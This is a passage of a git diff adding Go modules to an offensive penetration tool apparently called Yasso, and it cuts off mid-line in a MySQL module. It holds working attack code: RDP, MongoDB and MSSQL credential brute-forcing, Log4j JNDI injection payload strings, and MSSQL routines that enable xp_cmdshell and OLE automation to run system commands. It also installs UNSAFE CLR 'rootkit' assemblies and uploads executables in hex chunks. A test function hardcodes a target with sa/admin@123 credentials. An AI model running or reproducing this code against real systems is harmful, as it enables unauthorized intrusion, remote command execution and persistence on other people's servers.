SwitchBurp("rdp",users,pass,ips,BrutePort,Runtime,TimeDuration,BruteDomain) + }else{ + Println(Clearln + "[*] May be you want to brute? try to add --crack") + } + } +} + + + +//TODO: shadow1ng佬 fork的仓库并将原始代码进行了完善和修改 + +func RdpConn(info config.HostIn,user, password string) (bool, error) { + target := fmt.Sprintf("%s:%d", info.Host, info.Port) + g := NewClient(target, glog.NONE) + err := g.Login(info.Domain, user, password) + + //var err + if err == nil { + return true, nil + } + //return true, err + return false, err +} + +type Client struct { + Host string // ip:port + tpkt *tpkt.TPKT + x224 *x224.X224 + mcs *t125.MCSClient + sec *sec.Client + pdu *pdu.Client + vnc *rfb.RFB +} + +func NewClient(host string, logLevel glog.LEVEL) *Client { + glog.SetLevel(logLevel) + logger := log.New(os.Stdout, "", 0) + glog.SetLogger(logger) + return &Client{ + Host: host, + } +} + +func (g *Client) Login(domain, user, pwd string) error { + // 这里做一下修改,将dial.Timeout换成GetConn的代理连接 + conn, err := GetConn(g.Host,5*time.Second) + if err != nil { + return fmt.Errorf("[dial err] %v", err) + } + defer conn.Close() + glog.Info(conn.LocalAddr().String()) + + g.tpkt = tpkt.New(core.NewSocketLayer(conn), nla.NewNTLMv2(domain, user, pwd)) + g.x224 = x224.New(g.tpkt) + g.mcs = t125.NewMCSClient(g.x224) + g.sec = sec.NewClient(g.mcs) + g.pdu = pdu.NewClient(g.sec) + + g.sec.SetUser(user) + g.sec.SetPwd(pwd) + g.sec.SetDomain(domain) + //g.sec.SetClientAutoReconnect() + + g.tpkt.SetFastPathListener(g.sec) + g.sec.SetFastPathListener(g.pdu) + g.pdu.SetFastPathSender(g.tpkt) + + //g.x224.SetRequestedProtocol(x224.PROTOCOL_SSL) + //g.x224.SetRequestedProtocol(x224.PROTOCOL_RDP) + + err = g.x224.Connect() + if err != nil { + return fmt.Errorf("[x224 connect err] %v", err) + } + glog.Info("wait connect ok") + wg := &sync.WaitGroup{} + breakFlag := false + wg.Add(1) + + g.pdu.On("error", func(e error) { + err = e + glog.Error("error", e) + g.pdu.Emit("done") + }) + g.pdu.On("close", func() { + err = errors.New("close") + glog.Info("on close") + g.pdu.Emit("done") + }) + g.pdu.On("success", func() { + err = nil + glog.Info("on success") + g.pdu.Emit("done") + }) + g.pdu.On("ready", func() { + glog.Info("on ready") + g.pdu.Emit("done") + }) + g.pdu.On("update", func(rectangles []pdu.BitmapData) { + glog.Info("on update:", rectangles) + }) + g.pdu.On("done", func() { + if breakFlag == false { + breakFlag = true + wg.Done() + } + }) + + wg.Wait() + return err +} \ No newline at end of file diff --git a/cmd/icmp.go b/cmd/icmp.go new file mode 100644 index 0000000..fdaaaa7 --- /dev/null +++ b/cmd/icmp.go @@ -0,0 +1,153 @@ +package cmd + +import ( + "bytes" + "fmt" + "github.com/panjf2000/ants/v2" + "github.com/spf13/cobra" + "net" + "os/exec" + "runtime" + "strings" + "sync" + "time" +) + +var ( + tunnel = make(chan string,20) + OS = runtime.GOOS + Alive []string // 存活的ip列表 +) +var pingCmd = &cobra.Command{ + Use: "ping", + Short: "Use ping to scanner alive host (not support proxy)", + Run: func(cmd *cobra.Command, args []string) { + var ips []string + if Hosts == "" { + _ = cmd.Help() + return + } + if Hosts != "" { + ips, _ = ResolveIPS(Hosts) // resolve ip to []string ips + }else{ + Println("Yasso scanner need a hosts") + return + } + Println(fmt.Sprintf("[Yasso] will ping %d host",len(ips))) + _ = execute(ips) + }, + +} + +func init(){ + pingCmd.Flags().StringVarP(&Hosts,"hosts","H","","Set `hosts`(The format is similar to Nmap)") + pingCmd.Flags().BoolVarP(&RunICMP,"icmp","i",false,"Icmp packets are sent to check whether the host is alive(need root)") + rootCmd.AddCommand(pingCmd) +} + +func execute(ips []string) []string { + var wg sync.WaitGroup + + go func() { + for _,ip := range ips{ + tunnel <- ip + } + }() + for i:=0;i/dev/null && echo true || echo false") + case "darwin": + cmd = exec.Command("/bin/bash", "-c", "ping -c 1 -w 1 "+ ip +" >/dev/null && echo true || echo false") + } + info := bytes.Buffer{} + cmd.Stdout = & info + err := cmd.Start() + if err != nil { + return false + } + if err = cmd.Wait();err != nil { + return false + }else{ + if strings.Contains(info.String(),"true"){ + return true + }else{ + return false + } + } +} + +func icmp(host string) bool{ + conn, err := net.DialTimeout("ip4:icmp",host,1*time.Second) + if err != nil { + return false + } + defer func() { + _ = conn.Close() + }() + if err := conn.SetDeadline(time.Now().Add(1*time.Second)); err != nil { + return false + } + msg := packet(host) + if _, err := conn.Write(msg);err != nil { + return false + } + var receive = make([]byte,60) + if _, err := conn.Read(receive);err != nil { + return false + } + return true +} + +func packet(host string)[]byte{ + var msg = make([]byte,40) + msg[0] = 8 + msg[1] = 0 + msg[2] = 0 + msg[3] = 0 + msg[4],msg[5] = host[0],host[1] + msg[6],msg[7] = byte(1 >> 8),byte(1 & 255) + msg[2] = byte(checksum(msg[0:40]) >> 8) + msg[3] = byte(checksum(msg[0:40]) & 255) + return msg +} + +func checksum(msg []byte)uint16 { + var sum = 0 + var length = len(msg) + for i:=0;i> 16) + (sum & 0xffff) + sum = sum + (sum >> 16) + return uint16(^sum) +} \ No newline at end of file diff --git a/cmd/log4j.go b/cmd/log4j.go new file mode 100644 index 0000000..46f6662 --- /dev/null +++ b/cmd/log4j.go @@ -0,0 +1,110 @@ +package cmd + +import ( + "fmt" + "github.com/spf13/cobra" + "net" + "os" + "os/signal" + "strings" + "syscall" +) + +/* + log4j扫描程序服务器,用来查看是否有漏洞 +*/ +var ( + log4listenAddr string +) + +var Log4jCmd = &cobra.Command{ + Use: "log4j", + Short: "Open a socket listener to test log4J vulnerabilities offline", + Run: func(cmd *cobra.Command, args []string) { + if log4listenAddr == "" { + _ = cmd.Help() + } + t := strings.Split(log4listenAddr,":") + if len(t) == 2 { + Println(Clearln + "Press ctrl+c to shutdown") + go Log4jCheckServer(t[0],t[1]) + c := make(chan os.Signal,1) + signal.Notify(c,os.Interrupt,syscall.SIGTERM) + <- c + Println(Clearln + "ctrl+c detected. Shutting down") + } + }, +} + +func init(){ + Log4jCmd.Flags().StringVarP(&log4listenAddr,"bind","b","0.0.0.0:4568","socket listen address") +} + + +func Log4j2HandleRequest(conn net.Conn){ + defer conn.Close() + buf := make([]byte,1024) + num, err := conn.Read(buf) + if err != nil { + Println(fmt.Sprintf(Clearln + "accept data reading err %v",err)) + _ = conn.Close() + return + } + hexStr := fmt.Sprintf("%x",buf[:num]) + // LDAP 协议 + if "300c020101600702010304008000" == hexStr { + Println(fmt.Sprintf("[LDAP] %s Finger:%s",conn.RemoteAddr().String(),hexStr)) + return + } + if RMI(buf) { + Println(fmt.Sprintf("[RMI] %s Finger:%x",conn.RemoteAddr().String(),buf[0:7])) + return + } +} + +//TODO: https://github.com/KpLi0rn/Log4j2Scan/blob/main/core/server.go + +func RMI(data []byte) bool { + if data[0] == 0x4a && data[1] == 0x52 && data[2] == 0x4d && data[3] == 0x49 { + if data[4] != 0x00 { + return false + } + if data[5] != 0x01 && data[5] != 0x02 { + return false + } + if data[6] != 0x4b && data[6] != 0x4c && data[6] != 0x4d { + return false + } + lastData := data[7:] + for _, v := range lastData { + if v != 0x00 { + return false + } + } + return true + } + return false +} + +func Log4jCheckServer(host string,port string){ + listen, err := net.Listen("tcp",fmt.Sprintf("%s:%s",host,port)) + if err != nil { + Println(Clearln + "log4j listen server failed") + return + } + defer listen.Close() + //Println()(fmt.Sprintf("[Log4j2] Listen start on %s:%s",host,port)) + Println(Clearln + "[payload]: ") + Println(fmt.Sprintf(Clearln + "==> ${${lower:${lower:jndi}}:${lower:ldap}://%v:%v/poc}",host,port)) + Println(fmt.Sprintf(Clearln + "==> ${${::-j}ndi:rmi://%v:%v/poc}",host,port)) + Println(fmt.Sprintf(Clearln + "==> ${jndi:ldap://%v:%v/poc}",host,port)) + Println("-----------------------------------") + for { + conn, err := listen.Accept() + if err != nil { + Println(fmt.Sprintf(Clearln + "accept failed %v",err)) + continue + } + go Log4j2HandleRequest(conn) + } +} diff --git a/cmd/logger.go b/cmd/logger.go new file mode 100644 index 0000000..1a589ca --- /dev/null +++ b/cmd/logger.go @@ -0,0 +1,32 @@ +package cmd + +import ( + "fmt" + "os" +) + +var FileName string + +func Println(s string) { + fmt.Println(s) + file,err := os.OpenFile(FileName,os.O_APPEND|os.O_WRONLY,0666) + defer file.Close() + if err != nil { + fmt.Println("[!] open log file failed",err) + return + } + file.WriteString("\n"+s) +} + +func CreateLogFile(filename string) { + FileName = filename + _, err := os.Stat(filename) + if err != nil { + file,err := os.Create(filename) + if err != nil { + fmt.Println("[!] create log file failed",err) + return + } + defer file.Close() + } +} \ No newline at end of file diff --git a/cmd/mongo.go b/cmd/mongo.go new file mode 100644 index 0000000..996ba9e --- /dev/null +++ b/cmd/mongo.go @@ -0,0 +1,125 @@ +package cmd + +import ( + "Yasso/config" + "fmt" + "github.com/spf13/cobra" + "net" + "strings" + + "gopkg.in/mgo.v2" + "time" +) + +var MongoCmd = &cobra.Command{ + Use: "mongo", + Short: "MongoDB burst module (support proxy)", + Run: func(cmd *cobra.Command, args []string) { + if Hosts == "" { + _ = cmd.Help() + }else{ + BruteMongoByUser() + } + }, +} + +func BruteMongoByUser(){ + if BrutePort == 0 { + BrutePort = 27017 + } + var ips []string + var err error + if Hosts != ""{ + ips,err = ResolveIPS(Hosts) + if err != nil { + Println(fmt.Sprintf("resolve hosts address failed %v",err)) + return + } + if BruteFlag == true { + users,pass := ReadTextToDic("mongodb",UserDic,PassDic) + Println(Clearln+"[*] Brute Module [mongodb]") + Println(Clearln+"[*] MongoDB Authorized crack") + Println(fmt.Sprintf(Clearln + "[*] Have [user:%v] [pass:%v] [request:%v]",len(users),len(pass),len(users) * len(pass) * len(ips))) + SwitchBurp("mongodb",users,pass,ips,BrutePort,Runtime,TimeDuration,"") + }else{ + Println(Clearln + "[*] May be you want to brute? try to add --crack") + } + } +} + + + +func MongoAuth(info config.HostIn,user,pass string)(bool,error){ + + conf := &mgo.DialInfo{ + Dial: func(addr net.Addr) (net.Conn, error) { + return GetConn(addr.String(),info.TimeOut) + }, + Addrs: []string{fmt.Sprintf("%s:%d",info.Host, info.Port)}, + Timeout: info.TimeOut, + Database: "test", + Source: "admin", + Username: user, + Password: pass, + PoolLimit: 4096, + Direct: false, + } + db, err := mgo.DialWithInfo(conf) + if err == nil { + err = db.Ping() + if err != nil { + return false,err + } + defer db.Close() + return true,nil + + } + return false,err +} + + +func MongoUnAuth(info config.HostIn,user,pass string)(bool,error) { + var flag = false + data1 := []byte{58, 0, 0, 0, 167, 65, 0, 0, 0, 0, 0, 0, 212, 7, 0, 0, 0, 0, 0, 0, 97, 100, 109, 105, 110, 46, 36, 99, 109, 100, 0, 0, 0, 0, 0, 255, 255, 255, 255, 19, 0, 0, 0, 16, 105, 115, 109, 97, 115, 116, 101, 114, 0, 1, 0, 0, 0, 0} + data2 := []byte{72, 0, 0, 0, 2, 0, 0, 0, 0, 0, 0, 0, 212, 7, 0, 0, 0, 0, 0, 0, 97, 100, 109, 105, 110, 46, 36, 99, 109, 100, 0, 0, 0, 0, 0, 1, 0, 0, 0, 33, 0, 0, 0, 2, 103, 101, 116, 76, 111, 103, 0, 16, 0, 0, 0, 115, 116, 97, 114, 116, 117, 112, 87, 97, 114, 110, 105, 110, 103, 115, 0, 0} + connString := fmt.Sprintf("%s:%v",info.Host,info.Port) + conn, err := GetConn(connString,info.TimeOut) + defer func() { + if conn != nil { + conn.Close() + } + }() + if err != nil { + return false,err + } + err = conn.SetReadDeadline(time.Now().Add(time.Duration(info.TimeOut))) + if err != nil { + return false,err + } + _, err = conn.Write(data1) + if err != nil { + return false,err + } + reply := make([]byte,1024) + count, err := conn.Read(reply) + if err != nil { + return false,err + } + text := string(reply[0:count]) + if strings.Contains(text,"ismaster"){ + _, err = conn.Write(data2) + if err != nil { + return false,err + } + count, err := conn.Read(reply) + if err != nil { + return false, err + } + text := string(reply[0:count]) + if strings.Contains(text,"totalLinesWritten") { + flag = true + Println(fmt.Sprintf(Clearln + "[+] Mongodb %v unauthorized",info.Host)) + } + } + return flag,nil +} \ No newline at end of file diff --git a/cmd/mssql.go b/cmd/mssql.go new file mode 100644 index 0000000..5cec4a3 --- /dev/null +++ b/cmd/mssql.go @@ -0,0 +1,535 @@ +package cmd + +import ( + "Yasso/config" + "database/sql" + _ "embed" + "encoding/hex" + "fmt" + "github.com/cheggaaa/pb/v3" + _ "github.com/denisenkom/go-mssqldb" + "github.com/olekukonko/tablewriter" + "github.com/spf13/cobra" + "io/ioutil" + "math" + "os" + "strconv" + "strings" + "time" +) +/* + 内网mssql数据库比较多,可以完善一下clr和xp_cmdshell,spoacreate +*/ + +var ( + HelpWarSQLKit int + InWarSQLKit int + UnWarSQLKit int + ExecuteMethod int + UploadFile []string + WarSQLKitCommand string + WarSQLCommand string +) + + +var MssqlCmd = &cobra.Command{ + Use: "mssql", + Short: "SQL Server burst module and extend tools (not support proxy)", + Run: func(cmd *cobra.Command, args []string) { + if Hosts == "" && ConnHost == ""{ + _ = cmd.Help() + }else{ + MssqlBurpByUser() + } + }, +} + +var ( + conn = new(setting) +) + + + +func init(){ + MssqlCmd.Flags().IntVar(&HelpWarSQLKit,"kithelp",0,"print SQLKit Use help") + MssqlCmd.Flags().IntVar(&InWarSQLKit,"inkit",0,"install mssql SQLKit Rootkit [1,WarSQLKit] [2,SharpSQLKit(no echo)]") + MssqlCmd.Flags().IntVar(&UnWarSQLKit,"unkit",0,"uninstall mssql SQLKit Rootkit [1,WarSQLKit] [2,SharpSQLKit(no echo)]") + MssqlCmd.Flags().StringVar(&WarSQLKitCommand,"cld","","Execute WarSQLKit Command (eg.) --cld \"whoami\"") + MssqlCmd.Flags().StringVarP(&WarSQLCommand,"sql","s","","Execute sql command") + MssqlCmd.Flags().StringVarP(&SQLCommand,"cmd","c","","Execute System command") + MssqlCmd.Flags().StringVar(&ConnHost,"hostname","","Remote Connect mssql address(brute param need false)") + MssqlCmd.Flags().StringVar(&LoginUser,"user","sa","Login ssh username") + MssqlCmd.Flags().StringVar(&LoginPass,"pass","","Login ssh password") + MssqlCmd.Flags().IntVar(&ExecuteMethod,"method",1,"Execute System command method [1,xpshell] [2,oleshell]") + MssqlCmd.Flags().StringArrayVar(&UploadFile,"upload",nil,"Use ole upload file (.eg) source,dest") +} + + +func MssqlBurpByUser(){ + if BrutePort == 0 { + BrutePort = 1433 + } + var ips []string + var err error + if Hosts != "" && ConnHost == ""{ + ips,err = ResolveIPS(Hosts) + if err != nil { + Println(fmt.Sprintf("resolve hosts address failed %v",err)) + return + } + if BruteFlag == true { + users,pass := ReadTextToDic("mssql",UserDic,PassDic) + Println(Clearln+"[*] Brute Module [mssql]") + Println(fmt.Sprintf(Clearln + "[*] Have [user:%v] [pass:%v] [request:%v]",len(users),len(pass),len(users) * len(pass) * len(ips))) + SwitchBurp("mssql",users,pass,ips,BrutePort,Runtime,TimeDuration,"") + }else{ + Println(Clearln + "[*] May be you want to brute? try to add --crack") + } + } + if Hosts == "" && ConnHost != "" && LoginUser != "" && LoginPass != ""{ + + db,status, err := MssqlConn(config.HostIn{Host: ConnHost,Port: BrutePort,TimeOut: TimeDuration},LoginUser,LoginPass) + if err != nil { + Println(fmt.Sprintf("[!] Login mssql failed %v",err)) + return + } + if db != nil && status == true { + conn.Setting(db) + switch { + case UnWarSQLKit > 0 && UnWarSQLKit <= 2: + conn.Uninstall_clr(UnWarSQLKit) + case InWarSQLKit > 0 && InWarSQLKit <= 2: + conn.Install_clr(InWarSQLKit) + case SQLCommand != "": + if ExecuteMethod == 1 { + Println("[+] Execute Method: xp_cmdshell") + conn.xp_shell(SQLCommand) + }else if ExecuteMethod == 2 { + Println("[+] Execute Method: ole echo") + conn.sp_shell(SQLCommand) + } + case HelpWarSQLKit > 0 && HelpWarSQLKit <= 2: + WarSQLKitHelp(HelpWarSQLKit) + case len(UploadFile) == 1 : + filelist := strings.Split(UploadFile[0],",") + if len(filelist) == 2{ + conn.UploadFile(filelist[0],filelist[1]) + }else{ + Println("[!] upload file only need 2 params") + } + break + case WarSQLKitCommand != "": + conn.WarSQLKitShell(WarSQLKitCommand) + case WarSQLCommand != "": + r, err := SQLExecute(conn.Conn,WarSQLCommand) + if err != nil { + return + } + for i,s := range r.Rows { + Println(s[i]) + } + default: + conn.UnSetting() + } + } + } +} + + + + +//go:embed static/WarSQLKit.dll +var WarSQLKitName []byte + +//go:embed static/SharpSQLKit.txt +var SharpSQLKit string + +type setting struct { + Conn *sql.DB + Command string +} + +func MssqlConn(info config.HostIn,user,pass string)(*sql.DB,bool ,error){ + var flag = false + db, err := sql.Open("mssql",fmt.Sprintf("sqlserver://%v:%v@%v:%v/?connection&timeout=%v&encrypt=disable",user,pass,info.Host,info.Port,info.TimeOut)) + if err == nil { + db.SetConnMaxLifetime(time.Duration(info.TimeOut)) + db.SetConnMaxIdleTime(time.Duration(info.TimeOut)) + db.SetMaxIdleConns(0) + err = db.Ping() + if err == nil { + flag = true + return db,flag,nil + } + } + + return db,flag, err +} + +// 设置数据库连接 + +func (s *setting)Setting(conn *sql.DB){ + s.Conn = conn +} + +func (s *setting)check_configuration(option string,value int) bool { + var Command = fmt.Sprintf(`SELECT cast(value as INT) as b FROM sys.configurations where name = '%s';`,option) + r, err := SQLExecute(s.Conn,Command) + if err != nil { + return false + } + if len(r.Rows) == 1 && r.Rows[0][0] == strconv.Itoa(value) { + return true + } + return false +} + + +func (s *setting)set_configuration(option string,value int) bool { + // 设置 + var Command = fmt.Sprintf("exec master.dbo.sp_configure '%v','%v';RECONFIGURE;",option,value) + _, err := SQLExecute(s.Conn,Command) + if err != nil { + return false + } + return s.check_configuration(option,value) +} + +func (s *setting)set_permission_set() bool { + var Command = fmt.Sprintf("ALTER DATABASE master SET TRUSTWORTHY ON;") + Println("[+] ALTER DATABASE master SET TRUSTWORTHY ON") + _, err := SQLExecute(s.Conn,Command) + if err != nil { + Println("[!] ALTER DATABASE master SET TRUSTWORTHY ON Failed") + return false + } + return true +} + +// 启用xp_cmdshell + +func (s *setting)Enable_xp_cmdshell() bool { + if !s.set_configuration("show advanced options",1){ + Println("[!] cannot ebable 'show advanced options'") + return false + } + if !s.set_configuration("xp_cmdshell",1) { + Println("[!] cannot enable 'xp_cmdshell'") + return false + } + return true +} + +// 关闭xp_cmdshell + +func (s *setting)Disable_xp_cmdshell()bool{ + if !s.set_configuration("show advanced options",1) { + Println("[!] cannot enable 'show advanced options'") + return false + } + if !s.set_configuration("xp_cmdshell",0) { + Println("[!] cannot disable 'xp_cmdshell'") + return false + } + if !s.set_configuration("show advanced options",0){ + Println("[!] cannot disable 'show advanced options'") + return false + } + return true +} + +func (s *setting)Enable_ole()bool{ + if !s.set_configuration("show advanced options",1){ + Println("[!] cannot enable 'show advanced options'") + return false + } + if !s.set_configuration("Ole Automation Procedures",1){ + Println("[!] cannot enable 'Ole Automation Procedures'") + return false + } + return true +} + + +func (s *setting)Disable_ole() bool { + if !s.set_configuration("show advanced options",1){ + Println("[!] cannot enable 'show advanced options'") + return false + } + if !s.set_configuration("Ole Automation Procedures", 0){ + Println("[!] cannot disable 'Ole Automation Procedures'") + return false + } + if !s.set_configuration("show advanced options", 0){ + Println("[!] cannot disable 'show advanced options'") + return false + } + return true +} + + +func (s *setting)sp_shell(Command string) bool { + if s.check_configuration("Ole Automation Procedures",0) && !s.Enable_ole() { + return false + } + var sqlstr = fmt.Sprintf(`declare @shell int,@exec int,@text int,@str varchar(8000) +exec sp_oacreate 'wscript.shell',@shell output +exec sp_oamethod @shell,'exec',@exec output,'c:\windows\system32\cmd.exe /c %v' +exec sp_oamethod @exec, 'StdOut', @text out; +exec sp_oamethod @text, 'ReadAll', @str out +select @str`,Command) + Println(fmt.Sprintf("[+] Command: %v",Command)) + r, err := SQLExecute(s.Conn,sqlstr) + if err != nil { + Println(fmt.Sprintf("[!] exec ole command failed %v",err)) + return false + } + for i,b := range r.Rows { + Println(b[i]) + } + return true +} + +func (s *setting)xp_shell(Command string) bool { + + if s.set_configuration("xp_cmdshell", 0) && !s.Enable_xp_cmdshell() { + return false + } + Println(fmt.Sprintf("[+] Command: %v",Command)) + var sqlstr = fmt.Sprintf("exec master..xp_cmdshell '%v'",Command) + r, err := SQLExecute(s.Conn,sqlstr) + if err != nil { + Println(fmt.Sprintf("[!] exec xp_cmdshell command failed %v",err)) + return false + } + for _,b := range r.Rows { + Println(b[0]) + } + return true +} + + +func WarSQLKitToHex() string { + return hex.EncodeToString(WarSQLKitName) +} + + +func (s *setting)CREATE_ASSEMBLY(flag int) bool { + var KitHex string + + if flag == 1 { + Println("[+] SQLKit ==> WarSQLKit") + KitHex = WarSQLKitToHex() + }else if flag == 2 { + Println("[+] SQLKit ==> SharpSQLKit") + KitHex = SharpSQLKit + } + var Command = fmt.Sprintf(`CREATE ASSEMBLY [CLR_module] + AUTHORIZATION [dbo] + FROM 0x%s + WITH PERMISSION_SET = UNSAFE;`,KitHex) + _, err := SQLExecute(s.Conn,Command) + if err != nil { + Println(fmt.Sprintf("[!] Import the assembly failed %v",err)) + return false + } + Println("[+] Import the assembly") + return true +} + +func (s *setting)CREATE_PROCEDURE(flag int) bool { + var Command string + if flag == 1{ + Command = fmt.Sprintf(`CREATE PROCEDURE [dbo].[sp_cmdExec] @cmd NVARCHAR (MAX), @result NVARCHAR (MAX) OUTPUT AS EXTERNAL NAME [CLR_module].[StoredProcedures].[CmdExec];`) + }else if flag == 2 { + Command = fmt.Sprintf(`CREATE PROCEDURE [dbo].[ClrExec] +@cmd NVARCHAR (MAX) +AS EXTERNAL NAME [CLR_module].[StoredProcedures].[ClrExec]`) + } + _, err := SQLExecute(s.Conn,Command) + if err != nil { + Println(fmt.Sprintf("[!] Link the assembly to a stored procedure failed %v",err)) + return false + } + Println("[+] Link the assembly to a stored procedure") + return true +} + + +func (s *setting) Install_clr(flag int) bool { + if !s.set_permission_set() { + return false + } + if !s.CREATE_ASSEMBLY(flag){ + return false + } + if !s.CREATE_PROCEDURE(flag){ + return false + } + Println("[+] Install SQLKit successful!") + Println("[+] Please Use SQL Connect Tools to Execute") + Println("[+] WarSQLKit Command Help --SQLKit [1,2]") + return true +} + +func (s *setting)Uninstall_clr(flag int) bool { + var Command string + if flag == 1 { + Println("[+] SQLKit ==> WarSQLKit") + Command = fmt.Sprintf(`drop PROCEDURE dbo.sp_cmdExec +drop assembly CLR_module`) + }else if flag == 2 { + Println("[+] SQLKit ==> SharpSQLKit") + Command = fmt.Sprintf(`drop PROCEDURE dbo.ClrExec +drop assembly CLR_module`) + } + _, err := SQLExecute(s.Conn,Command) + if err != nil { + Println(fmt.Sprintf("[!] Uninstall SQLKit failed %v",err)) + return false + } + Println("[+] Uninstall SQLKit successful!") + return true +} + +func ReadFileToSplitHex(path string,splitLength int) []string { + data, err := ioutil.ReadFile(path) + if err != nil { + + return []string{} + } + HexData := hex.EncodeToString(data) + var hexList []string + num := int(math.Ceil(float64(len(HexData) / splitLength))) + for i := 0;i < num; i++ { + hexList = append(hexList,HexData[i*splitLength:(i+1)*splitLength]) + } + hexList = append(hexList,HexData[num*splitLength:]) + // 返回分割好的list + return hexList +} + + + +func (s *setting)UploadFile(source,dest string){ + Println(fmt.Sprintf("[+] Ole Upload File %s to %s",source,dest)) + if s.set_configuration("Ole Automation Procedures",0) && !s.Enable_ole(){ + Println("[!] setting Ole Automation or enable Ole failed") + return + } + var copyCommand = `copy /b` + var splitLength = 250000 + Hexlist := ReadFileToSplitHex(source,splitLength) + bar := pb.StartNew(len(Hexlist)) + + for i,body := range Hexlist { + var text2 = fmt.Sprintf("%v_%v.config_txt",dest,i) + var sqlstr = fmt.Sprintf(`DECLARE @ObjectToken INT + EXEC sp_OACreate 'ADODB.Stream', @ObjectToken OUTPUT + EXEC sp_OASetProperty @ObjectToken, 'Type', 1 + EXEC sp_OAMethod @ObjectToken, 'Open' + EXEC sp_OAMethod @ObjectToken, 'Write', NULL, 0x%s + EXEC sp_OAMethod @ObjectToken, 'SaveToFile', NULL,'%s', 2 + EXEC sp_OAMethod @ObjectToken, 'Close' + EXEC sp_OADestroy @ObjectToken`,body,text2) + _, err := SQLExecute(s.Conn,sqlstr) + if err != nil { + Println(fmt.Sprintf("\n[!] %s_%v.config_txt Error Uploading",dest,i)) + return + } + if i == 0 { + copyCommand = copyCommand + ` "` + text2 + `"` + }else{ + copyCommand = copyCommand + " +" + ` "` + text2 + `"` + } + time.Sleep(1000 *time.Millisecond) + if s.File_Exists(text2,1) { + bar.Increment() + //Println()(fmt.Sprintf("[+] %s_%v.config_txt Upload completed",dest,i)) + }else{ + Println(fmt.Sprintf("\n[!] %s_%v.config_txt Error Uploading",dest,i)) + return + } + } + copyCommand = copyCommand + ` "` + dest + `"` + var shell = fmt.Sprintf(` + DECLARE @SHELL INT + EXEC sp_oacreate 'wscript.shell', @SHELL OUTPUT + EXEC sp_oamethod @SHELL, 'run' , NULL, 'c:\windows\system32\cmd.exe /c`) + _, err := SQLExecute(s.Conn,shell+copyCommand + "'") + if err != nil { + Println(fmt.Sprintf("%v",err)) + return + } + Println("\n[+] copy file success") + time.Sleep(1000*time.Millisecond) + if s.File_Exists(dest,1) { + sqlstr := shell + fmt.Sprintf(`del %s*.config_txt`,dest) + "'" + _, err := SQLExecute(s.Conn,sqlstr) + if err != nil { + Println(fmt.Sprintf("[!] del file failed %v",err)) + return + } + Println(fmt.Sprintf("\n[+] %s Upload completed",source)) + } +} + +func (s *setting)File_Exists(path string,value int ) bool { + var Command = fmt.Sprintf(` +DECLARE @r INT +EXEC master.dbo.xp_fileexist '%v', @r OUTPUT +SELECT @r as n`,path) + r,err := SQLExecute(s.Conn,Command) + if err != nil { + return false + } + if len(r.Rows) == 1 && r.Rows[0][0] == strconv.Itoa(value) { + return true + } + return false +} + + +func WarSQLKitHelp(flag int){ + table := tablewriter.NewWriter(os.Stdout) + table.SetHeader([]string{"SQL Command","Introduce"}) + table.SetRowLine(true) + var help [][]string + if flag == 1 { + help = config.WarKitHelp + }else if flag == 2 { + help = config.SharpKitHelp + } + for _, v := range help { + table.Append(v) + } + table.Render() +} + +func (s *setting)UnSetting(){ + s.Conn = nil +} + + +func (s *setting)WarSQLKitShell(cld string){ + var Command = fmt.Sprintf(`declare @shell varchar(8000); +EXEC sp_cmdExec '%v' ,@shell output +select @shell`,cld) + r, err := SQLExecute(s.Conn,Command) + if err != nil { + Println(fmt.Sprintf("[!] %v",err)) + return + } + for i,s := range r.Rows { + Println(s[i]) + } +} + +func Test(){ + db,status, err := MssqlConn(config.HostIn{Host: "192.168.248.128",Port: 1433,TimeOut: 1 *time.Second},"sa","admin@123") + if status == true && err == nil { + conn := new(setting) + conn.Setting(db) + conn.UploadFile(`C:\Users\Administrator\Desktop\fscan64.exe`,`1.exe`) + } +} \ No newline at end of file diff --git a/cmd/mysql.go b/cmd/mysql.go new file mode 100644 index 0000000..1942af2 --- /dev/null +++ b/cmd/mysql.go @@ -0,0 +1,112 @@ +package cmd + +import ( + "Yasso/config" + "context" + "database/sql" + "fmt" + _ "github.com/denisenkom/go-mssqldb" + "github.com/go-sql-driver/mysql" + _ "github.com/go-sql-driver/mysql" + _ "github.com/lib/pq" + "github.com/spf13/cobra" + "net" + "time" +) + +var MysqlCmd = &cobra.Command{ + Use: "mysql", + Short: "MYSQL burst module and extend tools (support proxy)", + Run: func(cmd *cobra.Command, args []string) { + if Hosts == "" && ConnHost == ""{ + _ = cmd.Help() + }else{ + BruteMysqlByUser() + } + }, +} + +func BruteMysqlByUser(){ + if BrutePort == 0 { + BrutePort = 3306 + } + var ips []string + var err error + if Hosts != "" && ConnHost == ""{ + ips,err = ResolveIPS(Hosts) + if err != nil { + Println(fmt.Sprintf("resolve hosts address failed %v",err)) + return + } + if BruteFlag == true { + users,pass := ReadTextToDic("mysql",UserDic,PassDic) + Println(Clearln+"[*] Brute Module [mysql]") + Println(fmt.Sprintf(Clearln + "[*] Have [user:%v] [pass:%v] [request:%v]",len(users),len(pass),len(users) * len(pass) * len(ips))) + SwitchBurp("mysql",users,pass,ips,BrutePort,Runtime,TimeDuration,"") + }else{ + Println(Clearln + "[*] May be you want to brute? try to add --crack") + } + } + if Hosts == "" && ConnHost != ""{ + if SQLCommand == "" && SQLShellBool == false { + Println("[*] try to add -C to exec sql command or -shell") + return + } + if SQLCommand != "" && SQLShellBool == false { + db,status,err := MySQLConn(config.HostIn{Host: ConnHost,Port: BrutePort,TimeOut: TimeDuration},LoginUser,LoginPass) + if err != nil { + Println("mysql conn failed") + return + } + if status == true { + r,err := SQLExecute(db,SQLCommand) + if err != nil { + Println(fmt.Sprintf("sql execute failed %v",err)) + return + } + Println(r.String()) + } + } + if SQLCommand == "" && SQLShellBool == true { + db,status,err := MySQLConn(config.HostIn{Host: ConnHost,Port: BrutePort,TimeOut: TimeDuration},LoginUser,LoginPass) + if err != nil { + Println("mysql conn failed") + return + } + if status == true{ + SQLshell(db,"mysql") + } + } + } +} + +func init(){ + MysqlCmd.Flags().StringVarP(&SQLCommand,"cmd","C","","mysql sql command") + MysqlCmd.Flags().StringVar(&ConnHost,"hostname","","Remote Connect a Mysql (brute param need false)") + MysqlCmd.Flags().StringVar(&LoginUser,"user","","Login ssh username") + MysqlCmd.Flags().StringVar(&LoginPass,"pass","","Login ssh password") + MysqlCmd.Flags().BoolVar(&SQLShellBool,"shell",false,"create sql shell to exec sql command") +} + +// mysql 连接 + +func MySQLConn(info config.HostIn,user,pass string)(*sql.DB,bool ,error){ + var flag = false + address := fmt.Sprintf("%v:%v@tcp(%v:%v)/mysql?charset=utf8&timeout=%v",user,pass,info.Host,info.Port,time.Duration(info.TimeOut)) + + mysql.RegisterDialContext("tcp", 